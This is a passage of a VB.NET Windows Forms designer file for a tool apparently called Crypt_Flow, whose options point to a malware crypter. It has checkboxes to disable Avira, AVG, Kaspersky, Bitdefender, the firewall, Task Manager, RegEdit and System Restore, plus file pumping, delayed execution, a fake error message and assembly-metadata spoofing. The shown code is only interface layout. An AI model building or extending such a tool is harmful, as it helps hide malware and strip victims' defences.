= New System.Drawing.Point(224, 44) + Me.EofLabel.Name = "EofLabel" + Me.EofLabel.Size = New System.Drawing.Size(0, 13) + Me.EofLabel.TabIndex = 13 + ' + 'TabPage6 + ' + Me.TabPage6.BackColor = System.Drawing.Color.FromArgb(CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer)) + Me.TabPage6.Controls.Add(Me.FlowGroupBox13) + Me.TabPage6.Controls.Add(Me.FlowGroupBox12) + Me.TabPage6.Location = New System.Drawing.Point(104, 4) + Me.TabPage6.Name = "TabPage6" + Me.TabPage6.Size = New System.Drawing.Size(411, 193) + Me.TabPage6.TabIndex = 5 + Me.TabPage6.Text = "Advanced option" + ' + 'FlowGroupBox13 + ' + Me.FlowGroupBox13.BackColor = System.Drawing.Color.Transparent + Me.FlowGroupBox13.Controls.Add(Me.FlowCheckbox17) + Me.FlowGroupBox13.Controls.Add(Me.FlowCheckbox18) + Me.FlowGroupBox13.Header = "" + Me.FlowGroupBox13.Location = New System.Drawing.Point(15, 141) + Me.FlowGroupBox13.Name = "FlowGroupBox13" + Me.FlowGroupBox13.Size = New System.Drawing.Size(384, 44) + Me.FlowGroupBox13.TabIndex = 14 + ' + 'FlowCheckbox17 + ' + Me.FlowCheckbox17.CheckedState = False + Me.FlowCheckbox17.DarkTheme = True + Me.FlowCheckbox17.Image = Nothing + Me.FlowCheckbox17.Location = New System.Drawing.Point(6, 15) + Me.FlowCheckbox17.MaximumSize = New System.Drawing.Size(600, 16) + Me.FlowCheckbox17.MinimumSize = New System.Drawing.Size(16, 16) + Me.FlowCheckbox17.Name = "FlowCheckbox17" + Me.FlowCheckbox17.NoRounding = False + Me.FlowCheckbox17.Size = New System.Drawing.Size(174, 16) + Me.FlowCheckbox17.TabIndex = 10 + Me.FlowCheckbox17.Text = "RunTime on 32 Bit System" + ' + 'FlowCheckbox18 + ' + Me.FlowCheckbox18.CheckedState = False + Me.FlowCheckbox18.DarkTheme = True + Me.FlowCheckbox18.Image = Nothing + Me.FlowCheckbox18.Location = New System.Drawing.Point(189, 15) + Me.FlowCheckbox18.MaximumSize = New System.Drawing.Size(600, 16) + Me.FlowCheckbox18.MinimumSize = New System.Drawing.Size(16, 16) + Me.FlowCheckbox18.Name = "FlowCheckbox18" + Me.FlowCheckbox18.NoRounding = False + Me.FlowCheckbox18.Size = New System.Drawing.Size(174, 16) + Me.FlowCheckbox18.TabIndex = 11 + Me.FlowCheckbox18.Text = "RunTime on 64 Bit System" + ' + 'FlowGroupBox12 + ' + Me.FlowGroupBox12.BackColor = System.Drawing.Color.Transparent + Me.FlowGroupBox12.Controls.Add(Me.FlowCheckbox10) + Me.FlowGroupBox12.Controls.Add(Me.FlowCheckbox9) + Me.FlowGroupBox12.Controls.Add(Me.CbDsr) + Me.FlowGroupBox12.Controls.Add(Me.FlowCheckbox19) + Me.FlowGroupBox12.Controls.Add(Me.CbCmd) + Me.FlowGroupBox12.Controls.Add(Me.CbDFiles) + Me.FlowGroupBox12.Controls.Add(Me.CbDf) + Me.FlowGroupBox12.Controls.Add(Me.FlowCheckbox12) + Me.FlowGroupBox12.Controls.Add(Me.CbDre) + Me.FlowGroupBox12.Controls.Add(Me.CbDtm) + Me.FlowGroupBox12.Header = "" + Me.FlowGroupBox12.Location = New System.Drawing.Point(15, 12) + Me.FlowGroupBox12.Name = "FlowGroupBox12" + Me.FlowGroupBox12.Size = New System.Drawing.Size(384, 123) + Me.FlowGroupBox12.TabIndex = 13 + ' + 'FlowCheckbox10 + ' + Me.FlowCheckbox10.CheckedState = False + Me.FlowCheckbox10.DarkTheme = True + Me.FlowCheckbox10.Image = Nothing + Me.FlowCheckbox10.Location = New System.Drawing.Point(197, 73) + Me.FlowCheckbox10.MaximumSize = New System.Drawing.Size(600, 16) + Me.FlowCheckbox10.MinimumSize = New System.Drawing.Size(16, 16) + Me.FlowCheckbox10.Name = "FlowCheckbox10" + Me.FlowCheckbox10.NoRounding = False + Me.FlowCheckbox10.Size = New System.Drawing.Size(97, 16) + Me.FlowCheckbox10.TabIndex = 14 + Me.FlowCheckbox10.Text = "Disable Avira" + ' + 'FlowCheckbox9 + ' + Me.FlowCheckbox9.CheckedState = False + Me.FlowCheckbox9.DarkTheme = True + Me.FlowCheckbox9.Image = Nothing + Me.FlowCheckbox9.Location = New System.Drawing.Point(6, 95) + Me.FlowCheckbox9.MaximumSize = New System.Drawing.Size(600, 16) + Me.FlowCheckbox9.MinimumSize = New System.Drawing.Size(16, 16) + Me.FlowCheckbox9.Name = "FlowCheckbox9" + Me.FlowCheckbox9.NoRounding = False + Me.FlowCheckbox9.Size = New System.Drawing.Size(90, 16) + Me.FlowCheckbox9.TabIndex = 13 + Me.FlowCheckbox9.Text = "Disable AVG" + ' + 'CbDsr + ' + Me.CbDsr.CheckedState = False + Me.CbDsr.DarkTheme = True + Me.CbDsr.Image = Nothing + Me.CbDsr.Location = New System.Drawing.Point(6, 7) + Me.CbDsr.MaximumSize = New System.Drawing.Size(600, 16) + Me.CbDsr.MinimumSize = New System.Drawing.Size(16, 16) + Me.CbDsr.Name = "CbDsr" + Me.CbDsr.NoRounding = False + Me.CbDsr.Size = New System.Drawing.Size(158, 16) + Me.CbDsr.TabIndex = 0 + Me.CbDsr.Text = "Disable System Restore" + ' + 'FlowCheckbox19 + ' + Me.FlowCheckbox19.CheckedState = False + Me.FlowCheckbox19.DarkTheme = True + Me.FlowCheckbox19.Image = Nothing + Me.FlowCheckbox19.Location = New System.Drawing.Point(197, 95) + Me.FlowCheckbox19.MaximumSize = New System.Drawing.Size(600, 16) + Me.FlowCheckbox19.MinimumSize = New System.Drawing.Size(16, 16) + Me.FlowCheckbox19.Name = "FlowCheckbox19" + Me.FlowCheckbox19.NoRounding = False + Me.FlowCheckbox19.Size = New System.Drawing.Size(140, 16) + Me.FlowCheckbox19.TabIndex = 12 + Me.FlowCheckbox19.Text = "Disable BitFender" + ' + 'CbCmd + ' + Me.CbCmd.CheckedState = False + Me.CbCmd.DarkTheme = True + Me.CbCmd.Image = Nothing + Me.CbCmd.Location = New System.Drawing.Point(197, 7) + Me.CbCmd.MaximumSize = New System.Drawing.Size(600, 16) + Me.CbCmd.MinimumSize = New System.Drawing.Size(16, 16) + Me.CbCmd.Name = "CbCmd" + Me.CbCmd.NoRounding = False + Me.CbCmd.Size = New System.Drawing.Size(166, 16) + Me.CbCmd.TabIndex = 6 + Me.CbCmd.Text = "Disable Command Prompt" + ' + 'CbDFiles + ' + Me.CbDFiles.CheckedState = False + Me.CbDFiles.DarkTheme = True + Me.CbDFiles.Image = Nothing + Me.CbDFiles.Location = New System.Drawing.Point(6, 29) + Me.CbDFiles.MaximumSize = New System.Drawing.Size(600, 16) + Me.CbDFiles.MinimumSize = New System.Drawing.Size(16, 16) + Me.CbDFiles.Name = "CbDFiles" + Me.CbDFiles.NoRounding = False + Me.CbDFiles.Size = New System.Drawing.Size(132, 16) + Me.CbDFiles.TabIndex = 9 + Me.CbDFiles.Text = "Disable Hidden Files" + ' + 'CbDf + ' + Me.CbDf.CheckedState = False + Me.CbDf.DarkTheme = True + Me.CbDf.Image = Nothing + Me.CbDf.Location = New System.Drawing.Point(6, 73) + Me.CbDf.MaximumSize = New System.Drawing.Size(600, 16) + Me.CbDf.MinimumSize = New System.Drawing.Size(16, 16) + Me.CbDf.Name = "CbDf" + Me.CbDf.NoRounding = False + Me.CbDf.Size = New System.Drawing.Size(109, 16) + Me.CbDf.TabIndex = 3 + Me.CbDf.Text = "Disable Firewall" + ' + 'FlowCheckbox12 + ' + Me.FlowCheckbox12.CheckedState = False + Me.FlowCheckbox12.DarkTheme = True + Me.FlowCheckbox12.Image = Nothing + Me.FlowCheckbox12.Location = New System.Drawing.Point(197, 29) + Me.FlowCheckbox12.MaximumSize = New System.Drawing.Size(600, 16) + Me.FlowCheckbox12.MinimumSize = New System.Drawing.Size(16, 16) + Me.FlowCheckbox12.Name = "FlowCheckbox12" + Me.FlowCheckbox12.NoRounding = False + Me.FlowCheckbox12.Size = New System.Drawing.Size(134, 16) + Me.FlowCheckbox12.TabIndex = 4 + Me.FlowCheckbox12.Text = "Disable Kaspersky" + ' + 'CbDre + ' + Me.CbDre.CheckedState = False + Me.CbDre.DarkTheme = True + Me.CbDre.Image = Nothing + Me.CbDre.Location = New System.Drawing.Point(6, 51) + Me.CbDre.MaximumSize = New System.Drawing.Size(600, 16) + Me.CbDre.MinimumSize = New System.Drawing.Size(16, 16) + Me.CbDre.Name = "CbDre" + Me.CbDre.NoRounding = False + Me.CbDre.Size = New System.Drawing.Size(118, 16) + Me.CbDre.TabIndex = 5 + Me.CbDre.Text = "Disable RegEdit" + ' + 'CbDtm + ' + Me.CbDtm.CheckedState = False + Me.CbDtm.DarkTheme = True + Me.CbDtm.Image = Nothing + Me.CbDtm.Location = New System.Drawing.Point(197, 51) + Me.CbDtm.MaximumSize = New System.Drawing.Size(600, 16) + Me.CbDtm.MinimumSize = New System.Drawing.Size(16, 16) + Me.CbDtm.Name = "CbDtm" + Me.CbDtm.NoRounding = False + Me.CbDtm.Size = New System.Drawing.Size(149, 16) + Me.CbDtm.TabIndex = 8 + Me.CbDtm.Text = "Disable Task Manager" + ' + 'TabPage5 + ' + Me.TabPage5.BackColor = System.Drawing.Color.FromArgb(CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer)) + Me.TabPage5.Controls.Add(Me.TxtBody) + Me.TabPage5.Controls.Add(Me.TxtMTitle1) + Me.TabPage5.Controls.Add(Me.Label1) + Me.TabPage5.Controls.Add(Me.FlowCheckbox6) + Me.TabPage5.Controls.Add(Me.BtnTest) + Me.TabPage5.Controls.Add(Me.FlowGroupBox8) + Me.TabPage5.Controls.Add(Me.FlowGroupBox5) + Me.TabPage5.Controls.Add(Me.FlowLabel17) + Me.TabPage5.Controls.Add(Me.FlowLabel14) + Me.TabPage5.Controls.Add(Me.FlowLabel13) + Me.TabPage5.Location = New System.Drawing.Point(104, 4) + Me.TabPage5.Name = "TabPage5" + Me.TabPage5.Padding = New System.Windows.Forms.Padding(3) + Me.TabPage5.Size = New System.Drawing.Size(411, 193) + Me.TabPage5.TabIndex = 4 + Me.TabPage5.Text = "Error message" + ' + 'TxtBody + ' + Me.TxtBody.BackColor = System.Drawing.Color.FromArgb(CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer)) + Me.TxtBody.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.TxtBody.ForeColor = System.Drawing.SystemColors.AppWorkspace + Me.TxtBody.Location = New System.Drawing.Point(81, 55) + Me.TxtBody.Multiline = True + Me.TxtBody.Name = "TxtBody" + Me.TxtBody.Size = New System.Drawing.Size(309, 51) + Me.TxtBody.TabIndex = 34 + Me.TxtBody.TextAlign = System.Windows.Forms.HorizontalAlignment.Center + ' + 'TxtMTitle1 + ' + Me.TxtMTitle1.BackColor = System.Drawing.Color.FromArgb(CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer)) + Me.TxtMTitle1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.TxtMTitle1.ForeColor = System.Drawing.SystemColors.AppWorkspace + Me.TxtMTitle1.Location = New System.Drawing.Point(81, 29) + Me.TxtMTitle1.Name = "TxtMTitle1" + Me.TxtMTitle1.Size = New System.Drawing.Size(309, 20) + Me.TxtMTitle1.TabIndex = 33 + Me.TxtMTitle1.TextAlign = System.Windows.Forms.HorizontalAlignment.Center + ' + 'Label1 + ' + Me.Label1.AutoSize = True + Me.Label1.ForeColor = System.Drawing.Color.Red + Me.Label1.Location = New System.Drawing.Point(151, 119) + Me.Label1.Name = "Label1" + Me.Label1.Size = New System.Drawing.Size(0, 13) + Me.Label1.TabIndex = 21 + ' + 'FlowCheckbox6 + ' + Me.FlowCheckbox6.CheckedState = False + Me.FlowCheckbox6.DarkTheme = True + Me.FlowCheckbox6.Image = Nothing + Me.FlowCheckbox6.Location = New System.Drawing.Point(17, 119) + Me.FlowCheckbox6.MaximumSize = New System.Drawing.Size(600, 16) + Me.FlowCheckbox6.MinimumSize = New System.Drawing.Size(16, 16) + Me.FlowCheckbox6.Name = "FlowCheckbox6" + Me.FlowCheckbox6.NoRounding = False + Me.FlowCheckbox6.Size = New System.Drawing.Size(128, 16) + Me.FlowCheckbox6.TabIndex = 18 + Me.FlowCheckbox6.Text = "Use Error Message" + ' + 'BtnTest + ' + Bloom78.Name = "DownGradient1" + Bloom78.Value = System.Drawing.Color.FromArgb(CType(CType(24, Byte), Integer), CType(CType(24, Byte), Integer), CType(CType(24, Byte), Integer)) + Bloom79.Name = "DownGradient2" + Bloom79.Value = System.Drawing.Color.FromArgb(CType(CType(38, Byte), Integer), CType(CType(38, Byte), Integer), CType(CType(38, Byte), Integer)) + Bloom80.Name = "NoneGradient1" + Bloom80.Value = System.Drawing.Color.FromArgb(CType(CType(38, Byte), Integer), CType(CType(38, Byte), Integer), CType(CType(38, Byte), Integer)) + Bloom81.Name = "NoneGradient2" + Bloom81.Value = System.Drawing.Color.FromArgb(CType(CType(24, Byte), Integer), CType(CType(24, Byte), Integer), CType(CType(24, Byte), Integer)) + Bloom82.Name = "Text" + Bloom82.Value = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Bloom83.Name = "Border1" + Bloom83.Value = System.Drawing.Color.FromArgb(CType(CType(22, Byte), Integer), CType(CType(22, Byte), Integer), CType(CType(22, Byte), Integer)) + Bloom84.Name = "Border2A" + Bloom84.Value = System.Drawing.Color.FromArgb(CType(CType(60, Byte), Integer), CType(CType(60, Byte), Integer), CType(CType(60, Byte), Integer)) + Bloom85.Name = "Border2B" + Bloom85.Value = System.Drawing.Color.FromArgb(CType(CType(36, Byte), Integer), CType(CType(36, Byte), Integer), CType(CType(36, Byte), Integer)) + Me.BtnTest.Colors = New Crypt_Flow.Bloom() {Bloom78, Bloom79, Bloom80, Bloom81, Bloom82, Bloom83, Bloom84, Bloom85} + Me.BtnTest.Customization = "GBgY/yYmJv8mJib/GBgY//////8WFhb/PDw8/yQkJP8=" + Me.BtnTest.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.BtnTest.Image = Nothing + Me.BtnTest.Location = New System.Drawing.Point(315, 112) + Me.BtnTest.Name = "BtnTest" + Me.BtnTest.NoRounding = False + Me.BtnTest.Size = New System.Drawing.Size(75, 23) + Me.BtnTest.TabIndex = 17 + Me.BtnTest.Text = "Test" + Me.BtnTest.Transparent = False + ' + 'FlowGroupBox8 + ' + Me.FlowGroupBox8.BackColor = System.Drawing.Color.Transparent + Me.FlowGroupBox8.Controls.Add(Me.Checkbox3) + Me.FlowGroupBox8.Controls.Add(Me.RadioButton2) + Me.FlowGroupBox8.Controls.Add(Me.RadioButton1) + Me.FlowGroupBox8.Controls.Add(Me.NumericUpDown2) + Me.FlowGroupBox8.Header = "" + Me.FlowGroupBox8.Location = New System.Drawing.Point(210, 141) + Me.FlowGroupBox8.Name = "FlowGroupBox8" + Me.FlowGroupBox8.Size = New System.Drawing.Size(195, 46) + Me.FlowGroupBox8.TabIndex = 16 + ' + 'Checkbox3 + ' + Me.Checkbox3.CheckedState = False + Me.Checkbox3.DarkTheme = True + Me.Checkbox3.Image = Nothing + Me.Checkbox3.Location = New System.Drawing.Point(12, 17) + Me.Checkbox3.MaximumSize = New System.Drawing.Size(600, 16) + Me.Checkbox3.MinimumSize = New System.Drawing.Size(16, 16) + Me.Checkbox3.Name = "Checkbox3" + Me.Checkbox3.NoRounding = False + Me.Checkbox3.Size = New System.Drawing.Size(90, 16) + Me.Checkbox3.TabIndex = 1 + Me.Checkbox3.Text = "File Pumper" + ' + 'RadioButton2 + ' + Me.RadioButton2.AutoSize = True + Me.RadioButton2.ForeColor = System.Drawing.Color.White + Me.RadioButton2.Location = New System.Drawing.Point(150, 26) + Me.RadioButton2.Name = "RadioButton2" + Me.RadioButton2.Size = New System.Drawing.Size(41, 17) + Me.RadioButton2.TabIndex = 4 + Me.RadioButton2.TabStop = True + Me.RadioButton2.Text = "Mb" + Me.RadioButton2.UseVisualStyleBackColor = True + ' + 'RadioButton1 + ' + Me.RadioButton1.AutoSize = True + Me.RadioButton1.ForeColor = System.Drawing.Color.White + Me.RadioButton1.Location = New System.Drawing.Point(150, 3) + Me.RadioButton1.Name = "RadioButton1" + Me.RadioButton1.Size = New System.Drawing.Size(40, 17) + Me.RadioButton1.TabIndex = 3 + Me.RadioButton1.TabStop = True + Me.RadioButton1.Text = "Kb" + Me.RadioButton1.UseVisualStyleBackColor = True + ' + 'NumericUpDown2 + ' + Me.NumericUpDown2.Location = New System.Drawing.Point(108, 13) + Me.NumericUpDown2.Name = "NumericUpDown2" + Me.NumericUpDown2.Size = New System.Drawing.Size(36, 20) + Me.NumericUpDown2.TabIndex = 2 + ' + 'FlowGroupBox5 + ' + Me.FlowGroupBox5.BackColor = System.Drawing.Color.Transparent + Me.FlowGroupBox5.Controls.Add(Me.Checkbox7) + Me.FlowGroupBox5.Controls.Add(Me.FlowLabel1) + Me.FlowGroupBox5.Controls.Add(Me.Textbox5) + Me.FlowGroupBox5.Header = "" + Me.FlowGroupBox5.Location = New System.Drawing.Point(4, 141) + Me.FlowGroupBox5.Name = "FlowGroupBox5" + Me.FlowGroupBox5.Size = New System.Drawing.Size(199, 46) + Me.FlowGroupBox5.TabIndex = 15 + ' + 'Checkbox7 + ' + Me.Checkbox7.CheckedState = False + Me.Checkbox7.DarkTheme = True + Me.Checkbox7.Image = Nothing + Me.Checkbox7.Location = New System.Drawing.Point(13, 17) + Me.Checkbox7.MaximumSize = New System.Drawing.Size(600, 16) + Me.Checkbox7.MinimumSize = New System.Drawing.Size(16, 16) + Me.Checkbox7.Name = "Checkbox7" + Me.Checkbox7.NoRounding = False + Me.Checkbox7.Size = New System.Drawing.Size(86, 16) + Me.Checkbox7.TabIndex = 5 + Me.Checkbox7.Text = "Delay Exec." + ' + 'FlowLabel1 + ' + Me.FlowLabel1.AutoSize = True + Me.FlowLabel1.BackColor = System.Drawing.Color.Transparent + Me.FlowLabel1.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.FlowLabel1.ForeColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.FlowLabel1.Location = New System.Drawing.Point(143, 20) + Me.FlowLabel1.Name = "FlowLabel1" + Me.FlowLabel1.Size = New System.Drawing.Size(53, 13) + Me.FlowLabel1.TabIndex = 7 + Me.FlowLabel1.Text = "seconds" + ' + 'Textbox5 + ' + Me.Textbox5.ForeColor = System.Drawing.Color.White + Me.Textbox5.Location = New System.Drawing.Point(108, 10) + Me.Textbox5.Name = "Textbox5" + Me.Textbox5.Rounded = True + Me.Textbox5.Size = New System.Drawing.Size(29, 23) + Me.Textbox5.TabIndex = 6 + Me.Textbox5.UseSystemPasswordChar = True + ' + 'FlowLabel17 + ' + Me.FlowLabel17.AutoSize = True + Me.FlowLabel17.BackColor = System.Drawing.Color.Transparent + Me.FlowLabel17.Font = New System.Drawing.Font("Verdana", 9.0!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.FlowLabel17.ForeColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.FlowLabel17.Location = New System.Drawing.Point(162, 3) + Me.FlowLabel17.Name = "FlowLabel17" + Me.FlowLabel17.Size = New System.Drawing.Size(98, 14) + Me.FlowLabel17.TabIndex = 14 + Me.FlowLabel17.Text = "Error Message" + ' + 'FlowLabel14 + ' + Me.FlowLabel14.AutoSize = True + Me.FlowLabel14.BackColor = System.Drawing.Color.Transparent + Me.FlowLabel14.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.FlowLabel14.ForeColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.FlowLabel14.Location = New System.Drawing.Point(10, 57) + Me.FlowLabel14.Name = "FlowLabel14" + Me.FlowLabel14.Size = New System.Drawing.Size(65, 13) + Me.FlowLabel14.TabIndex = 2 + Me.FlowLabel14.Text = "Message :" + ' + 'FlowLabel13 + ' + Me.FlowLabel13.AutoSize = True + Me.FlowLabel13.BackColor = System.Drawing.Color.Transparent + Me.FlowLabel13.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.FlowLabel13.ForeColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.FlowLabel13.Location = New System.Drawing.Point(35, 31) + Me.FlowLabel13.Name = "FlowLabel13" + Me.FlowLabel13.Size = New System.Drawing.Size(40, 13) + Me.FlowLabel13.TabIndex = 0 + Me.FlowLabel13.Text = "Title :" + ' + 'TabPage4 + ' + Me.TabPage4.BackColor = System.Drawing.Color.FromArgb(CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer)) + Me.TabPage4.Controls.Add(Me.PictureBox1) + Me.TabPage4.Controls.Add(Me.FileVersion) + Me.TabPage4.Controls.Add(Me.Version1) + Me.TabPage4.Controls.Add(Me.Trademark) + Me.TabPage4.Controls.Add(Me.Product) + Me.TabPage4.Controls.Add(Me.Copyright) + Me.TabPage4.Controls.Add(Me.Company) + Me.TabPage4.Controls.Add(Me.Description) + Me.TabPage4.Controls.Add(Me.Title) + Me.TabPage4.Controls.Add(Me.FlowLabel12) + Me.TabPage4.Controls.Add(Me.FlowLabel11) + Me.TabPage4.Controls.Add(Me.FlowLabel10) + Me.TabPage4.Controls.Add(Me.FlowLabel9) + Me.TabPage4.Controls.Add(Me.FlowLabel8) + Me.TabPage4.Controls.Add(Me.FlowLabel7) + Me.TabPage4.Controls.Add(Me.FlowLabel6) + Me.TabPage4.Controls.Add(Me.FlowLabel5) + Me.TabPage4.Location = New System.Drawing.Point(104, 4) + Me.TabPage4.Name = "TabPage4" + Me.TabPage4.Padding = New System.Windows.Forms.Padding(3) + Me.TabPage4.Size = New System.Drawing.Size(411, 193) + Me.TabPage4.TabIndex = 3 + Me.TabPage4.Text = "Assembly Changer" + ' + 'FileVersion + ' + Me.FileVersion.BackColor = System.Drawing.Color.FromArgb(CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer)) + Me.FileVersion.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.FileVersion.Location = New System.Drawing.Point(97, 165) + Me.FileVersion.Name = "FileVersion" + Me.FileVersion.Size = New System.Drawing.Size(66, 20) + Me.FileVersion.TabIndex = 23 + ' + 'Version1 + ' + Me.Version1.BackColor = System.Drawing.Color.FromArgb(CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer)) + Me.Version1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.Version1.Location = New System.Drawing.Point(235, 165) + Me.Version1.Name = "Version1" + Me.Version1.Size = New System.Drawing.Size(66, 20) + Me.Version1.TabIndex = 22 + ' + 'Trademark + ' + Me.Trademark.BackColor = System.Drawing.Color.FromArgb(CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer)) + Me.Trademark.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.Trademark.Location = New System.Drawing.Point(97, 139) + Me.Trademark.Name = "Trademark" + Me.Trademark.Size = New System.Drawing.Size(204, 20) + Me.Trademark.TabIndex = 21 + ' + 'Product + ' + Me.Product.BackColor = System.Drawing.Color.FromArgb(CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer)) + Me.Product.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.Product.Location = New System.Drawing.Point(97, 116) + Me.Product.Name = "Product" + Me.Product.Size = New System.Drawing.Size(204, 20) + Me.Product.TabIndex = 20 + ' + 'Copyright + ' + Me.Copyright.BackColor = System.Drawing.Color.FromArgb(CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer)) + Me.Copyright.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.Copyright.Location = New System.Drawing.Point(97, 92) + Me.Copyright.Name = "Copyright" + Me.Copyright.Size = New System.Drawing.Size(204, 20) + Me.Copyright.TabIndex = 19 + ' + 'Company + ' + Me.Company.BackColor = System.Drawing.Color.FromArgb(CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer)) + Me.Company.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.Company.Location = New System.Drawing.Point(97, 68) + Me.Company.Name = "Company" + Me.Company.Size = New System.Drawing.Size(204, 20) + Me.Company.TabIndex = 18 + ' + 'Description + ' + Me.Description.BackColor = System.Drawing.Color.FromArgb(CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer)) + Me.Description.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.Description.Location = New System.Drawing.Point(97, 44) + Me.Description.Name = "Description" + Me.Description.Size = New System.Drawing.Size(204, 20) + Me.Description.TabIndex = 17 + ' + 'Title + ' + Me.Title.BackColor = System.Drawing.Color.FromArgb(CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer), CType(CType(32, Byte), Integer)) + Me.Title.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.Title.Location = New System.Drawing.Point(97, 20) + Me.Title.Name = "Title" + Me.Title.Size = New System.Drawing.Size(204, 20) + Me.Title.TabIndex = 16 + ' + 'FlowLabel12 + ' + Me.FlowLabel12.AutoSize = True + Me.FlowLabel12.BackColor = System.Drawing.Color.Transparent + Me.FlowLabel12.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.FlowLabel12.ForeColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.FlowLabel12.Location = New System.Drawing.Point(8, 167) + Me.FlowLabel12.Name = "FlowLabel12" + Me.FlowLabel12.Size = New System.Drawing.Size(82, 13) + Me.FlowLabel12.TabIndex = 15 + Me.FlowLabel12.Text = "File Version :" + ' + 'FlowLabel11 + ' + Me.FlowLabel11.AutoSize = True + Me.FlowLabel11.BackColor = System.Drawing.Color.Transparent + Me.FlowLabel11.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.FlowLabel11.ForeColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.FlowLabel11.Location = New System.Drawing.Point(169, 167) + Me.FlowLabel11.Name = "FlowLabel11" + Me.FlowLabel11.Size = New System.Drawing.Size(63, 13) + Me.FlowLabel11.TabIndex = 14 + Me.FlowLabel11.Text = "Version : " + ' + 'FlowLabel10 + ' + Me.FlowLabel10.AutoSize = True + Me.FlowLabel10.BackColor = System.Drawing.Color.Transparent + Me.FlowLabel10.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.FlowLabel10.ForeColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.FlowLabel10.Location = New System.Drawing.Point(10, 142) + Me.FlowLabel10.Name = "FlowLabel10" + Me.FlowLabel10.Size = New System.Drawing.Size(81, 13) + Me.FlowLabel10.TabIndex = 13 + Me.FlowLabel10.Text = "TradeMark : " + ' + 'FlowLabel9 + ' + Me.FlowLabel9.AutoSize = True + Me.FlowLabel9.BackColor = System.Drawing.Color.Transparent + Me.FlowLabel9.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.FlowLabel9.ForeColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.FlowLabel9.Location = New System.Drawing.Point(27, 119) + Me.FlowLabel9.Name = "FlowLabel9" + Me.FlowLabel9.Size = New System.Drawing.Size(63, 13) + Me.FlowLabel9.TabIndex = 12 + Me.FlowLabel9.Text = "Product : " + ' + 'FlowLabel8 + ' + Me.FlowLabel8.AutoSize = True + Me.FlowLabel8.BackColor = System.Drawing.Color.Transparent + Me.FlowLabel8.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.FlowLabel8.ForeColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.FlowLabel8.Location = New System.Drawing.Point(14, 95) + Me.FlowLabel8.Name = "FlowLabel8" + Me.FlowLabel8.Size = New System.Drawing.Size(76, 13) + Me.FlowLabel8.TabIndex = 11 + Me.FlowLabel8.Text = "Copyright : " + ' + 'FlowLabel7 + ' + Me.FlowLabel7.AutoSize = True + Me.FlowLabel7.BackColor = System.Drawing.Color.Transparent + Me.FlowLabel7.Font = New System.Drawing.Font("Verdana", 8.0!) + Me.FlowLabel7.ForeColor = System.Drawing.Color.FromArgb(CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer), CType(CType(255, Byte), Integer)) + Me.FlowLabel7.Location = New System.Drawing.Point(15, 71) + Me.FlowLabel7.Name = "FlowLabel7" + Me.FlowLabel7.Size = New System.Drawing.Size(75, 13) + Me.FlowLabel7.TabIndex = 10 + Me.FlowLabel7.Text = "Company : " + ' + 'FlowLabel6 + ' + Me.FlowLabel6.AutoSize = True + Me.FlowLabel6.BackColor = System.Drawing.Color.Transparent + Me.FlowLabel6.Font = New System.Drawing.Font("Verdana", 8.0!) + 